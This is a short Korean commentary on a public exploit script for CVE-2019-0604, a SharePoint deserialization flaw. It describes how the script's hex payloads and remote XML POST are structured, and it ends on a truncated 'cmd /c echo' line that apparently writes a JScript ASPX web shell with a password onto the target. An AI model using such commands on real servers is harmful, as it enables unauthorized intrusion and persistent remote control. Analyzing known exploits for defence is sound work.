CVE-2019-0604

一、k8gege의 cve-2019-0604-exp.py 해설 k8gege의 스크립트 https://github.com/k8gege/CVE-2019-0604 솔직히 k8gege의 py 스크립트는 약간 화려합니다. 수많은 16진수 문자열이 payload1, 2, 3으로 나뉘어져 있어서 좀 나쁘네요. python 스크립트가 원격으로 post하는 payload는 역직렬화 후 xml 데이터 본체입니다. root@kitploit: cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";va...